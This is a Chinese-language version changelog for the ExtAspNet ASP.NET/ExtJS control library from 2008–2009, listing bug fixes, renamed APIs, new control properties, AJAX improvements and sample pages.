-修正弹出对话框的宽度计算错误(会保持最小的状态)。 -增加新的皮肤Gray。 -为示例工程添加改变语言和皮肤的下拉列表。 -为PageContext增加静态函数Refresh,在切换语言和皮肤时使用。 +2009-12-01 v2.1.7 -增加示例(iframe/parent_postback_run3.aspx),如何通过简单的Javascript代码回发父页面(feedback:eroach)。 -修正一些书写错误(feedback:bmck)。 -从Region控件中<em>删除</em>SplitColor属性,增加CollapseMode, EnableSplitTip, SplitTip, CollapsibleSplitTip属性(feedback:bmck)。 -BorderPanel更名为RegionPanel。 -DropDownList拥有MarkInvalid方法(feedback:sun1299shine)。 -增加中国的省市县三级联动示例(data/shengshixian.aspx)(feedback:Blues T)。 -修正了使用IFrameUrl的Tab在切换过程中会重复加载的问题,这是<em>一个</em>在v2.1.6引入的问题(feedback:eroach)。 -修正了启用AutoPostBack的Grid,其RowClick会覆盖LinkButtonField, HyperLinkField, CheckBoxField的点击事件(feedback:yymaoji)。 +2009-11-26 v2.1.6 +修正动态创建Grid列的BUG(feedback:gxpan)。 -增加示例(data/grid_dynamic_columns.aspx)。 -修正Form不能自适应浏览器大小的改变(feedback:kaywood)(WorkItem#6309)。 -增加重载方法Alert.Show(message, title, icon)(feedback:TheBox)(WorkItem#6353)。 -为容器控件(比如Panel,Region,Tab等)增加AJAX属性IFrameUrl(feedback:BluesT)。 -重新设计模拟树的下拉列表的实现,避免选中某项后的闪烁。 +2009-11-21 v2.1.5 +Tree优化。 -修正Expanded项和Checked项的状态在回发改变后不能保持的BUG。 -GetNodeById更名为FindNode,保持和FindControl一致命名。 -<em>删除</em>CheckedNodeIDArray属性,增加GetCheckedNodes和GetCheckedNodeIDs函数。 -<em>删除</em>ExpandedNodeIDArray属性,增加GetExpandedNodes和GetExpandedNodeIDs函数。 -增加示例(data/tree_select_run.aspx),如何选中当前节点的所有子节点(feedback:wjl_wjl520)。 +TreeNode的属性NodeId被重命名为NodeID,这是ExtAspNet中的<em>一个</em>命名约定。 -同时更名的还有GridColumn的ColumnId->ColumnID,GetColumnId->GetColumnID。 -Grid1.Columns.FindColumnById函数被Grid1.FindColumn所替代。 -为TreeCheckEventArgs,TreeExpandEventArgs,TreeCommandEventArgs增加Node属性。 -为所有控件增加Focus(覆盖Control默认的Focus函数)和GetFocusReference函数。 -增加示例(other/custom_postback.aspx)(feedback:thebox)。 -如何自定义Javascript脚本和C#处理函数来响应键盘事件。 -为Tree增加AutoLeafIdentification属性。 -增加示例(tree_auto_leaf_identification.aspx)(feedback:wdrabbit)。 +2009-11-17 v2.1.4 -修正Window的关闭按钮提示信息一直是中文的BUG(feedback:thebox)。 -部分ExtAspNet控件的设计时支持(会在后续版本中逐步完善)。 -v0.2beta2版本中关于PersistChildren(true)的描述有误,这个是设计时属性,和运行时是否保持状态没有关系。 -修正CheckBox控件的CheckedChanged事件会被触发两次的BUG(Data PostBack->AutoPostBack, Event PostBack->EnablePostBack)。 -为TextBox,TextArea,DatePicker,NumberBox,TriggerBox等控件增加AutoPostBack属性(feedback:dk3214)。 +为表单字段增加RequiredMessage,MaxLengthMessage,MinLengthMessage属性,用于指定验证失败时提示信息。 -为空则使用默认的提示信息,默认的提示信息支持多语言,建议一般情况下使用默认信息。 +为表单字段增加MarkInvalid和GetMarkInvalidReference函数(feedback:sun1299shine)。 -增加示例:form/form_validate.aspx +2009-10-19 v2.1.3 +增加支持在AJAX时改变的控件属性列表(/ajax.aspx)。 -ExtAspNet支持原生的AJAX,也就是说控件的属性改变在AJAX过程中会反映到页面中,但并不是所有的控件属性都支持AJAX改变。 -加载s.gif图片在本机进行,不会请<em>求</em>extjs.com远程资源(feedback:efrigate43,abaocoole)。 -在AJAX回发后确保Asp.net的按钮控件仍然具有AJAX的特性。 -更新/basic/login.aspx示例,使用验证图片(feedback:kedee)。 -为Grid增加AutoPostBack属性和RowClick事件,示例在/data/grid_autopostback.aspx(feedback:chenguizhu2006)。 -为所有的表单字段增加AJAX属性ReadOnly(feedback:skydb)。 -Grid中TemplateField生成到页面中控件具有唯一ID,例如Grid1_ct5_Label2,Grid1_ct6_Label2(feedback:geruger)。 +2009-09-27 v2.1.2 -为Tree控件增加GetExpandAllNodesReference和GetCollapseAllNodesReference<em>两个</em>函数。 -修正RELEASE版本下多语言加载的BUG(feedback:yigehaoren)。 -增加pt_BR语言,由Ujvari提供。 +为所有Panel(包括Grid,Tree,Form等)增加枚举类型Icon,其中包含1700多个小图标。 -如果Panel具有IconUrl属性,则IconUrl优先于Icon。 -所有Icon的列表在icon.aspx。 -为Button,MenuItem(MenuButton,MenuHyperLink),AccordionLink,TreeNode,Image(如果ImageUrl为空,则取Icon的值)增加Icon属性。 +2009-09-15 v2.1.1 -修正不能动态修改AccordionPane属性Items的BUG。 +为Button, MenuButton, LinkButton, LinkButtonField增加ConfirmTarget。 -如果需要在父页面弹出确认对话框,需要设置ConfirmTarget="_parent"(类似Window控件的Target="_parent")。 +为ExtAspNet.Alert.Show增加点击确定的JavaScript回调函数。 -<em>一个</em>典型应用,在Window控件中打开新页面,如果传递的参数不正确,则首先提示参数不对然后关闭此弹出窗口。 -ExtAspNet.Alert.Show("参数错误!", String.Empty, ExtAspNet.ActiveWindow.GetCloseReference()); +TreeNode的前面的多选框可以自动回发了。 -为TreeNode增加AutoPostBack属性,增加事件数据类TreeCheckEventArgs,为Tree增加事件NodeCheck。 -示例在:http://extasp.net/data/tree_run.aspx -Grid增加GetNoSelectionAlertInParentReference函数,用来表示没有选中任何一项时在父页面弹出对话框的JS代码。 -修正IE7下不能以下划线作为CSS中类名的前缀的BUG(feedback:Steve.Wei)。 -添加定时器控件Timer,用来定时发起AJAX请<em>求</em>。 +2009-09-06 v2.1.0 -Button的Pressed属性值能够正确的反映客户端的变化。 -优化Tree控件的AJAX实现。 +为页面的Form添加autocomplete="off"属性。 -参考http://www.cnblogs.com/sanshi/archive/2009/09/04/1560146.html#1635830 +添加对extjs3.0中所有语言的支持。 -ExtAspNet扩展的多语言包在js\languages\extaspnet目录下,目前只有en,zh_CN,zh_TW三种实现 -你可以向其中添加自己的语言版本,并执行js\languages下的pack.<em>bat</em>打包,最后编译工程。 +2009-09-01 v2.0.9 -为ExtAspNet.Alert添加<em>两个</em>静态方法ShowInParent和GetShowInParentReference,用于在父页面弹出窗口。 +在aspx页面中必须显示的声明控件的集合属性(比如Tabs(TabStrip), Items(PanelBase), Nodes(TreeNode))。 -这将会影响所有的aspx页面,所以要特别关注。 -重命名AccordionPanel为AccordionPane (这也是在Asp.net AJAX中使用的名称). +所有的面板默认有<em>两个</em>集合属性(Toolbars和Items). -尽管TabStrip, From, Tree, Accordion继承了Items属性,但是你并不能对其设置(此时Items是只读的). -这将会影响所有的aspx页面,一定要将工具条(Toolbars)和Items区分开来。 -祝你生日快乐 - 小师妹妹。 +2009-08-29 v2.0.8 -ExtAspNet支持多语言(en,zh_CN,zh_TW),可以在Web.config中修改。 -将所有的示例转化为英语版本。 -修正Tree控件的<em>一个</em>BUG(定义Mappings属性时)。 +PageManager.Instance应该存在于HttpContext.Current,而不是<em>一个</em>全局变量。 -这个BUG导致Asp.net compatibility中的示例无法完成,现在已经修正。 +去除PageManager中方法AddAjaxAspnetControls,增加属性AjaxAspnetControls。 -这个属性和Button得ValidateForms属性类似,可以查看Asp.net compatibility中的示例。 +2009-08-25 v2.0.7 -为按钮增加DisableControlBeforePostBack属性 - 回发之前是否禁用按钮,防止重复提交 - 默认为true。 -Grid的Values属性访问限制由internal改为public,这就意味这可以自由改变Grid中每个单元格的值了。 -增加示例-如何将Grid控件导出为Excel(data\grid_excel_run.aspx)(feedback:503684912)。 -如果TreeNode的属性Enabled="false",则此项变灰并且不会被选中(feedback:your568)。 -修正TreeNode的属性NavigateUrl不接受服务器端URL(以~/开头)的BUG。 -增加Accordion和Tree配合使用的示例(other\accordion_tree_run.aspx)。 -修正Panel图标不能显示的BUG(CSS中class名不能有$字符)。 +去除PageLayout控件,此控件可以使用BorderLayout和指定PageManager的AutoSizePanelID属性来代替。 -这样所有需要占据全屏的Panel(不管你是Accordion,Panel,ContentPanel,Form,GroupPanel,SimpleForm,Tree还是Grid,TabStrip)都可以通过这种方式全屏。 -简单方便,示例可以参考 default.aspx 或者 other\accordion_tree_run.aspx。 +2009-08-14 v2.0.6 -动态生成菜单实例(other\menu_dynamic_run.aspx和other\menu_dynamic2_run.aspx)(feedback:shguo)。 -优化AJAX的内部实现,每个页面保存的ViewState现在减少1/3左右(重要更新)。 -优化Tree节点的NodeId自动生成,减少ViewState占用。 +2009-08-09 v2.0 beta5 +ExtAspNet和Asp.net的提交按钮兼容问题(feedback:千帆)。 -在2009-03-03 v1.3.0曾经提到这个兼容问题,并有这样的规则,如果Asp.net的按钮AJAX提交,必须设置UseSubmitBehavior="false" --也就是说生成的input的type不能是"submit",而这个限制在有些情况下是不可原谅的。 --我们做了优化,现在要使<em>一个</em>Asp.net的按钮能够AJAX提交,你不需要做任何设置(PageManager的属性EnableAjax为true即可,这是默认属性)。 +PageManager的实例方法AddAjaxUpdateControl改名为AddAjaxAspnetControls,现在可以在Page_Load中设置需要在AJAX中需要更新的Asp.net控件了。 -在Page_Load中设置了哪些需要在AJAX中更新的Asp.net控件会在回发时保持状态,可以通过RemoveAjaxAspnetControls来去除不需要更新的控件。 -示例在aspnet\fckeditor_run.aspx和aspnet\aspnet_run.aspx。 -FCKEditor和上传控件兼容。示例在aspnet\fileupload_run.aspx。 -修正ToolbarText的文本在AJAX下更新的BUG。 -Button的Pressed属性在AJAX可更新(feedback:mgzhenhong)。 -更新所有示例。在IE7.0,IE8.0,Firefox3.5,Chrome2.0下测试通过。 +2009-08-02 v2.0 beta4 +和Asp.Net的Forms Authentication兼容[feedback:mgzhenhong]。 -采用和Asp.Net Ajax类似的处理方式,需要在配置<em>文件</em>Web.config增加<em>一个</em>httpModules。 -现在支持Response.Redirect,你可以选择Response.Redirect或者ExtAspNet.PageContext.Redirect重定向页面,两者效果一样。 -支持FormsAuthentication.RedirectFromLoginPage(accountID, false);这样的方法。 -Button增加Type属性(button,reset,submit)[feedback:mgzhenhong]。 -修正Alert.Show方法不能指定文本前图片的BUG[feedback:xmq&mgzhenhong]。 -修正IE下某些弹出窗口的IFrame第一次不能加载的BUG。 -增加Menu和Accordion的示例。 -修正Window控件的IconUrl有时不显示(Target="_parent")的BUG[feedback:xmq&mgzhenhong]。 +2009-07-22 v2.0 beta3 -兼容FCKEditor。 -在IE8.0,Firefox3.5下测试通过。以后ExtAspNet将不会对IE6.0提供支持。 +2009-07-13 v2.0 beta2 -集成extjs最新版本v3.0。 +兼容IE6.0-7.0-8.0。 -这应该是Extjs3.0的<em>一个</em>BUG,在IE6.0-7.0下面设置Ext.QuickTips.init();会导致button的click事件无法响应(IE8下无此问题)。 -目前先禁用IE6.0-7.0的QuickTips。 -优化底层JavaScript。 +2009-07-05 v2.0 beta1 -更新extjs库到最新版本v3.0 RC2; 目前只有<em>一个</em>缺省皮肤(Theme)。 -使用YUI Compressor压缩JavaScript和CSS<em>文件</em>。 -Release版本每个页面只包含<em>一个</em>JavaScript<em>文件</em>(语言<em>文件</em>除外)和<em>一个</em>CSS<em>文件</em>。 -ExtAspNet自身的CSS会紧挨着页面标签引入,这样在中自定义的样式可以覆盖ExtAspNet缺省样式。 +Alert对话框会遮挡所有的Window窗口。 -使用<em>一个</em>变通的方法解决,因为无法改变Ext.Message的默认z-index(9000)所以将box.window_default_group的zseed调整为6000。 -为所有按钮的左右增加5px的空白边距:.x-btn button { margin: 0 5px !important; }。 -因为下拉列表不可编辑,所以不能为空,如果不设置SelectedIndex或SelectedValue,则默认选中第一项。 -重新绑定模拟树的下拉列表后,选中项的前面有图片的HTML标签的BUG。 -更新自定义JavaScript组件Ext.ux.SimplePagingToolbar。 -更新示例工程。 +2009-03-25 v1.3.1 -Tree在AJAX回发展开节点时JS错误[feedback:xlli]。[fixed] -Window中的EnableIFrame==false,则点击关闭按钮时报JS错误。[fixed] -页面包含FileUpload控件,需要点击按钮回发并上传<em>文件</em>,则不能采用原生AJAX方式。(参见示例aspnet/fileupload.aspx)[fixed] -HtmlEditor显示隐藏工具栏按钮不起作用,HtmlEditor目前不支持Enabled和Readonly<em>两个</em>属性。[fixed] +2009-03-03 v1.3.0 -如果弹出的窗口(Ext-Window)含有ASP.NET控件FileUpload,则此弹出窗口在关闭时出现JS错误(http://extjs.com/forum/showthread.php?t=8129)[feedback:xlli]。[fixed] -如果页面中存在ASP.NET控件(TextBox),则第二次提交表单就会报错(视图状态不对,其实时没有更新EventValidation隐藏字段导致的问题)。[fixed] -页面上放置ExtAspNet-Button和ASP.NET-Button,则点击ExtAspNet-Button时激发的是ASP.NET-Button的事件,这个BUG和Extjs2.2.1中Ext.Ajax.serializeForm的实现有关。[fixed] -ExtAspNet内部包含HtmlAgilityPack和Nii.JSON<em>两个</em>开源的第三方类库。[added] +如果以前你听过不要在ExtAspNet工程中使用ASP.NET标准控件的忠告,那么从v1.3.0版本开始,你可以忘掉这个说法,现在ExtAspNet控件和ASP.NET标准控件和平共处了。[fixed] -如果<em>一个</em>ASP.NET按钮控件要使用ExtAspNet的原生AJAX,只需要设置属性 UseSubmitBehavior="false" 即可。 -如果要在一次ExtAspNet的原生AJAX回发时更新ASP.NET控件的值,只需要调用PageManager的公共方法AddAjaxUpdateControl即可(示例:aspnet/aspnet.aspx)。 +2009-02-27 v1.2 beta9 -网络连接出错时的“Ajax Error”改成更加友好的提示信息“本次连接失败!可能是网络连接出错,请刷新页面重试。”。[fixed] -自动测试功能会在以后版本中逐步完善。这个版本完成测试框架,采用Extjs中JS函数进行大部分的测试,对于一些难以测试的地方借助jQuery完成。[fixed] +系统底层代码优化(主要是Javascript的封装和BUG修复)。[fixed] -底层使用Javascript创建<em>一个</em>Window控件的代码由原来的2000字符减少为500个字符。 -PageContext静态类中的GetPageStateChangedFunction改名为GetConfirmFormModifiedReference,底层代码优化。表示“获取当前页面中表单修改的确认提示框的脚本”。 ---[updated]<em>删除</em>PageContext中的GetConfirmFormModifiedReference,使用CurrentActiveWindow中的GetConfirmFormModifiedCloseReference/GetConfirmFormModifiedCloseRefreshReference/GetConfirmFormModifiedClosePostBackReference三个方法代替。 -不会修改弹出页面的URL(Ext-Window中的IFrame),以前为了实现功能为每个弹出页面添加box_parent_client_id查询字符串 -去除PageManager的RegisterPageStateChangedScript属性,现在已经将这个功能实现为静态的JS方法。可以通过PageContext.GetFormModifiedConfirmReference获取此方法的客户端脚本。 ---注意:以前的项目需要在所有的ASPX页面中查找RegisterPageStateChangedScript属性,并<em>删除</em>,否则会运行错误! -A页面有Ext-Window控件弹出B页面,B页面有Ext-Window控件弹出C页面,B页面的Ext-Window控件设置Target='_parent',则弹出的Ext-Window(C页面)会覆盖整个A页面,这是正确的。 ---当时如果用户直接访问B页面,就会报JS错误,因为此时找不到B页面的父页面A了。现在的版本修正为如果找不到父页面,则就在当前页面弹出窗口,这样用户直接访问B页面也不会出错了。 -Window控件的GetIFramePageStateChangedFunction函数改名为GetConfirmFormModifiedCloseReference,表示“获取先确认IFrame的页面中表单改变,然后关闭弹出窗口的客户端脚本”。 ---为Window控件增加如下<em>两个</em>方法GetConfirmFormModifiedCloseRefreshReference和GetConfirmFormModifiedClosePostBackReference,表示“先确认表单改变,然后关闭弹出Ext-Window,再然后刷新父页面或回发父页面”。 ---Window控件的OnClientCloseButtonClick属性如果不设置,则默认采用GetConfirmFormModifiedCloseReference,也即是先判断表单是否更新,然后在关闭窗口。 ---现在可以很方便的为Window控件的关闭按钮添加关闭后刷新父页面或者关闭后回发父页面的行为。 -如果弹出窗口(Window控件)中IFrame的页面不能正常加载(网络暂时出错或页面抛出异常),则此时点击右上角的关闭按钮会报JS错误,因为此时页面尚未加载完毕。 ---此版本修正了这个BUG,即时页面不能加载完全,也能通过右上角的关闭按钮关闭弹出含IFrame的窗体。 -Window控件的IFrameName属性是自动生成的,只读属性。(因为有可能所有的Ext-Window最终都渲染到最外层的页面,为了保证这些IFrame的name不同,IFrameName使用的是GUID,内部处理)。 -CurrentActiveWindow改名为ActiveWindow。 -[特别注意]GetWriteBackValueReference(string controlClientIds, string value, params string[] values)函数现在的定义是GetWriteBackValueReference(params string[] values) ---所有调用GetWriteBackValueReference的地方,需要<em>删除</em>第<em>一个</em>参数(一般是ActiveWindow.GetLoadStateReference())。 +2009-02-23 v1.2 beta8 -ContentPanel中内容不能自动扩展高度的BUG[feedback:huihuang]。[fixed] -DropDownList在Ajax回发时不能计算模拟树的数据[feedback:huihuang]。[fixed] -DropDownList在页面第一次加载时没有不可选择项,则回发时也不会有不可选择项的BUG。[fixed] -升级底层ExtJS类库为v2.2.1(此版本主要是Chrome的支持和部分内存泄漏问题的修正)。[fixed] -页面加载过程中的时间信息保存在Javascript变量window.box.timeInfo中。[added] +增加部分自动测试支持(使用WatiN和NUnit),下个版本将会提供完整的自动测试支持。[fixed] +2008-10-28 v1.2 beta7 -DropDownList没有选中任何一项,回发时报错[feedback:huihuang]。[fixed] -Window显示位置不对,以及不能拖动的BUG[feedback:huihuang]。[fixed] +PageContext优化。[fixed] -去除RegisterExclusiveScript静态函数(这是没有原生ajax之前的产物),使用RegisterStartupScript替代。 -去除RegisterStartupScript的重载函数,只保留最简单的PageContext.RegisterStartupScript(string script)函数。 -Resirect增加重载函数Redirect(string url, string target),其中target可能的取值为_self,_parent,_top,分别表示在当前窗口,父窗口,顶级窗口重定向[feedback:jqpeng]。 -Image控件增加ImageWidth/ImageHeight/ImageCssStyle/ImageCssClass/ImageAlt属性[feedback:jqpeng]。[fixed] -发布包中增加<em>一个</em>Web.config.txt,这是<em>一个</em>空的Web.config<em>文件</em>,包含BOX基本的配置信息。[fixed] -ContentPanel的ShowHeader和ShowBorder属性默认也是true(注意更新以前的应用)。[fixed] -Row和Column布局时,修正IE下设置RowHeight="100%"时显示不正确的BUG。[fixed] -AccordionLink当鼠标移上和移开时,有背景色的变化效果[feedback:huihuang]。[fixed] +TabStrip的Tab控件的EnablePostBack属性会在回发时保持(也即是说如果EnablePostBack=true,回发时没改变EnablePostBack的值,则每次切换到此Tab都会回发)。[fixed] -有这样<em>一个</em>效果,如果Tab1默认显示,Tab1的EnablePostBack=true,则页面加载完毕后会回发Tab1一次。 +2008-10-20 v1.2 beta6 +使用控件的站点必须建立虚拟目录,否则会报JS错误(即是脚本资源没有加载),却原来是HTTPCompress组件的问题。[fixed] -需要替换新的blowery.Web.HttpCompress.dll,解决方案见http://pohee.com/it/http-compression-in-aspnet-20/。 +DropDownList优化。[fixed] -去除EnableFirstItem/FirstItemText/FirstItemValue,这个并不能带来很大的好处,反而容易让开发人员困惑。 现在可以方便的在后台DropDownList1.Items.Insert(0, new ExtAspNet.ListItem("全部", "-1"));来达到同样的效果。 +如果某项(ListItem)的Value为空字符串,则通过SelectedIndex和SelectedValue不能选中[feedback:jqpeng]。 -和Asp.net中的保持一致,ListItem的Value值可以为空字符串。 也就是可以这样写DropDownList1.SelectedValue = ""; -ListItemCollection增加重载函数Add(string text, string value),这样方便后台添加列表项。 -处于布局内的容器控件(Layout!=LayoutType.Container),AutoHeight会自动设置为false(避免开发人员发生此类错误)。[fixed] -注意,控件的高度指的是整个控件的高度,包含BodyPadding(这和CSS中的height不同,CSS中的height是指内容的高度,除去padding/border-width/margin)。[fixed] +为所有控件属性增加在VS中的智能提示。[fixed] -需要将ExtAspNet.XML和ExtAspNet.dll放在一起,这样引用dll时xml会被拷贝到bin目录下,提供VS的智能提示。 +控件的属性如果是枚举类型,如果此属性可以不取值,则默认为None。[fixed] -TriggerIconType.Default -> TriggerIconType.None -SystemIconType.Empty -> SystemIconType.None -RegexPattern.USER_DEFINED -> RegexPattern.None -表单验证属性名称变化(ValueToCompare->CompareValue,ControlToCompare->CompareControl)。[fixed] +注意:<em>一个</em>属性可以拥有多个值的情况。[fixed] -属性和CSS相关则用空格分隔(比如ColumnWidths,BodyPadding)。 -其他的都是逗号分隔(比如ValidateForms,DataKeyNames,DataNavigateUrlFields)。 +AccordionLink实现为控件。[fixed] -可以方便的在子页面(iframe)中通过js切换父页面中选中的菜单项(Accordion->AccordionLink)(示例在other/accordion_links_run.aspx,other/accordion_links_run_iframe_htm)[feedback:jima]。 +确认:可以方便的动态添加控件,并且可以给控件添加服务器端事件(示例在form/form_dynamic_run.aspx)。[fixed] +2008-10-15 v1.2 beta5 -验证表单字段的ValueToCompare属性,为字符串时会出错的BUG。[fixed] +优化下拉列表。[fixed] -验证下拉列表时,应该取ListItem的Value属性进行验证,而不是Text属性。 -DropDownList的Items增加Insert方法(可方便的下拉列表选项添加“全部”)。 -DropDownList不支持EmptyText属性。 -ListItem启用EnableSelect和SimulateTreeLevel属性,这样就可以直接在前台(ASPX)中设置哪些项不可选择,以及创建模拟下拉树。 -DropDownList增加EnableSimulateTree属性(默认为false),如果设置了DataSimulateTreeLevelField,则自动将EnableSimulateTree设置为true。 +2008-09-27 v1.2 beta4 +EnableLargeHeader属性对所有容器的效果一样,Accordion的属性EnableLargeHeader只会改变Accordion的标题大小,而不会对AccordionPanel起作用(示例见other/accordion_run.aspx)。[fixed] -Accordion去除EnableHightlight属性,AccordionPanel增加EnableHightlight属性。 -影响以前使用Box的应用,需要将Accordion的属性去掉,然后为每个AccordionPanel增加EnableLargeHeader和EnableHightlight属性。 -AccordionPanel鼠标移上去的样式调整(现在没有下面的一条白线了)。[fixed] +AccordionPanel增加Links属性,可以绑定列表数据到AccordionPanel,呈现的是链接的列表(示例在other/accordion_links_run.aspx)。[fixed] -原来放置在AccordionPanel中的容器,比如ContentPanel需要在外层加上标签。 -适当增大AccordionPanel中链接的高度20px->22px,同时对链接的样式也做了微调。 -通过BodyPadding控制链接列表的边距。 -这样能大大减少ASPX中HTML代码和Javascript代码的书写,可以在后台动态添加链接,效果很赞,此需<em>求</em>由马季提出。 +2008-09-25 v1.2 beta3 +代码优化与设计时支持(尚需要不断完善,目前可以在ASPX页切换到“设计时”,方便属性的更改和事件处理函数的添加)。[fixed] -Panel/GroupPanel/ContentPanel/Tree/HiddenField/PageLoading -TabStrip/Toolbar -TabStrip去除Plain属性,增加EnableTitleBackgroundColor(默认为true)。[fixed] -向Form中动态添加控件的BUG,现在form/form_dynamic_run.aspx示例已经能正确运行。[fixed] +大部分容器的子控件集合更正为Items(以前有些是Rows)。[fixed] -影响的控件包括Toolbar/Accordion/AccordionPanel/GroupPanel/Panel/SimpleForm/Window等。 -保留Form的Rows(FormRowCollection)属性和Grid的Rows属性(GridRowCollection)。 -保留TabStrip的Tabs(TabCollection)属性。 -保留PageLayout/BorderLayout的Regions(RegionCollection)属性。 -预祝今晚神七发射成功。 +2008-09-22 v1.2 beta2 +Grid选中项(SelectedRowIndexArray)在ajax回发过程中存在BUG [feedback:xmzhu]。[fixed] -表现为对Grid进行多次<em>删除</em>添加操作后,SelectedRowIndexArray选中项中会存在当前不存在的行序号,导致服务器端遍历选中项时数组越界。所有使用box控件的应用程序都受到此BUG的影响,需尽快更新到新版本。 +代码优化与设计时支持(示例中表单控件都已支持设计)。[fixed] -PageManager/SimpleForm/Button/HyperLink/Label/Image/LinkButton/TextBox -TriggerBox/TwinTriggerBox/Window/TextArea/HtmlEditor/DatePicker/NumberBox -CheckBox/RadioButton/RadioButtonList/DropDownList -Grid +2008-09-19 v1.2 beta1 -Image/LinkButton/HyperLink增加一些Ajax可更新属性。[fixed] +隐藏的方式由HideMode属性控制Visibility/Offsets/Display。[fixed] -修正Form/SimpleForm中隐藏<em>一个</em>表单字段(Hidden=false)会占据页面空间的BUG。 -ToolbarText/ToolbarFill/ToolbarSeparator在ASPX中设置Hidden=true不起作用的BUG [feedback:jbzhang]。[fixed] -Button去除MarginRight属性(可以通过CssStyle="margin-right:5px;"达到相同的效果)[fixed] +2008-09-09 v1.1 +Toolbar去除IsPageMenu属性,在网报中可以用自定义样式实现,而不应该写在控件中。[fixed] -网报:CssClass="toolbar-pagemenu" CssStyle="border:0px;",同时定义样式:.toolbar-pagemenu{ background: rgb(208, 222, 240) url(../images/pagemenu_toolbar_background.gif) repeat-x left top;}。 -Region去除默认的Layout=Fit,如果希望Region使用Fit/Anchor/Column/Row等布局的话,需要手工指定。[fixed] -ToolbarSeparator/ToolbarFill在Ajax更新Hidden属性的BUG。[fixed] +布局整理。[fixed] -新增Column/Absolute/Row三种布局,加上以前的Container/Fit/Anchor/Accordion/Border/Form六种布局,总共有9中布局可供使用。 -其中一些控件默认使用一种布局:SimpleForm(Form)/Form(Form)/Panel-GroupPanel(Container)/Accordion(Accordion)/PageLayout(Border)/BorderLayout(Border)/TabStrip(Card),所有布局控件默认的布局是Container。 -经常用到的布局控件:SimpleForm/Form/Accordion/TabStrip/BorderLayout,经常用到的布局:Fit/Row/Anchor +2008-09-08 v1.1 beta7 -MenuButton/MenuHyperLink增加HideOnClick属性,如果<em>一个</em>菜单项的作用仅仅为了弹出下级菜单,点击没反应,则可以这样设置HideOnClick="false" CssStyle="cursor:default;" [feedback:huayu]。[fixed] -MenuButton/MenuHyperLink/MenuSeparator/MenuText增加Hidden属性(此属性是Ajax可更新属性,如果需要在Ajax时显示隐藏菜单,请使用此属性而不是Visible属性)。[fixed] +大部分的ExtAspNet控件增加Hidden属性(少数几个控件没有此属性:Menu),这样在Ajax时可以显示隐藏控件。[fixed] -注意Visible和Hidden的区别:Visible=false的属性不会渲染到客户端,Hidden=true的控件渲染到客户端但是隐藏。 -US的ExtAspNet改造强烈依赖于此属性,这个版本发布后可以继续。 -网报中唯一没有用到ExtAspNetAjax的地方就是显示隐藏表单字段,现在也可以使用Ajax了。 +2008-09-04 v1.1 beta6 -PageContext.Redirect支持普通页面转向和ExtAspNetAjax下页面转向。[fixed] +模拟树的下拉列表的BUG(会使一些可选项变成不可选项)[feedback:xmzhu]。[fixed] -因为if("0,2,9,11,".indexOf('1,')>=0){ok},这显然是不对的,此BUG涉及很多控件(Grid,DropDownList,TabStrip)。 -解决方法:testValue += '';if(domValue.split(',').indexOf(testValue) >= 0){ok}。 -DropDownList在Ajax时应该先更新数据再设置选定项 [feedback:xmzhu]。[fixed] -Button/MenuButton增加Ajax可更新属性OnClientClick [feedback:xmzhu]。[fixed] -Tree的Ajax支持(尚需优化)。[fixed] +2008-09-02 v1.1 beta5 -DropDownList如果第一次没有绑定值,应该绑定到[[]](二维数组),而不是[](一维数组)。[fixed] -模拟树的DropDownList,在Ajax重新绑定DataSource后,保持项是否可选状态是最新的(页面第一次加载时,即使没有数据也需要设置DataTextField/DataValueField/DataSimulateTreeLevelField/DataEnableSelectField等属性的值,否则Ajax回发时会出错)。[fixed] -UserControlConnector导致的Ajax错误,去除UpdatePanelConnector控件(以后不会用AspnetAjax,这个控件已经完成使命)。[fixed] -不要使用Asp.net的控件HiddenField,而是使用ExtAspNet的HiddenField,因为Asp.net的控件在Ajax不会被更新,所以会导致视图状态不一致的错误。[fixed] -网报Ajax整合基本完成(除了待审批->下一步[审核/归档/出纳]操作,由于需要显示隐藏表单字段,目前Ajax不支持,使用的还是普通的PostBack)。[fixed] -IE下,RadioButtonList中项如果存在汉字,则会换行的BUG。[fixed] -增加<em>两个</em>Theme[Slate/Black](样式尚需完善)。[fixed] +2008-09-01 v1.1 beta4 -非当前Tab中如果有ContentPanel,则在页面上方会有空白(可以通过设置EnableDeferredRender=false解决,但会减慢页面的加载速度),现在已经解决这个问题。[fixed] -RadioButtonList去除EnableBackgroundColor/EnableLightBackgroundColor属性,背景色是透明的,也就是和父控件(SimpleForm/Form)的背景色一致。[fixed] -TwinTriggerBox的第<em>一个</em>Trigger图标不会先显示再隐藏,而是直接隐藏掉(如果用户设置ShowTrigger1=false)。[fixed] -Web.config中增加配置项FormLabelWidth="80"(默认为80),同时PageManager增加FormLabelWidth属性用来控制页面上所有SimpleForm/Form的表单字段标题的宽度。[fixed] +完善Ajax。[fixed] -RadioButtonList增加Ajax可更新属性SelectedIndex(SelectedValue/SelectedItem)。 -DropDownList增加Ajax可更新属性Enable/SelectedIndex(SelectedValue/SelectedItem)/DataSource。 -Grid增加Ajax可更新属性Columns(也就是说Grid列在回发时隐藏显示了一些,也能正确的Ajax)。 -ToolbarText增加Ajax可更新属性Text。 +2008-08-31 v1.1 beta3 -TabStrip增加EnableDeferredRender属性(是否启用延迟加载Tab,默认启用)。[fixed] -重定向页面,使用系统的方法 PageContext.Redirect(string url),使用Response.Redirect方法会出错。[fixed] +安全的Ajax设计。[fixed] -这个版本Ajax和上个版本(v1.1beta1)在设计思路上有很大区别,同时在速度上会有进一步的提升。 -基本思想:安全的Ajax交互,明确Ajax回发时支持控件哪些属性的改变,这将适合90%的应用场景(并且具有极快的反应速度),对于需要UI大改动的可采用常规回发,系统提供控件级别的EnableAjax属性。 -整理支持Ajax的控件属性改变列表(所有被支持的属性改变都是安全的、快速的,所有不被支持的属性改变不会对UI起作用,同时是安全的,不会有js错误)。 -网报Ajax整合(目前只支持所有的列表页面)(v0.8.1)。[fixed] +2008-08-29 v1.1 beta1 +Window控件是否弹出的状态在回发时维持。[fixed] -控件设计的<em>一个</em>原则,凡是可以在客户端改变的属性都应该在回发时保持属性的状态。 +完全抛弃Asp.NetAjax,ExtAspNet控件内置Ajax支持。[fixed] -这是<em>一个</em>值得骄傲的设计,可以明显提高页面回发的速度(相比普通的回发和Asp.netAjax的回发),对于IFrame框架的交互也起到很好的加速效果。 -不需要做任何配置,所有的回发都是Ajax(在Web.config和PageManager中有设置启用Ajax回发的属性-EnableAjax-默认为true)。 +在这种设计下,其实可以完全抛弃Javascript。 -比如简单的点击<em>一个</em>按钮弹出窗口,可以在Button的OnClick事件中设置Window1.Popup=true,也可以注册Button的OnClientClick=Window1.GetShowReference()。 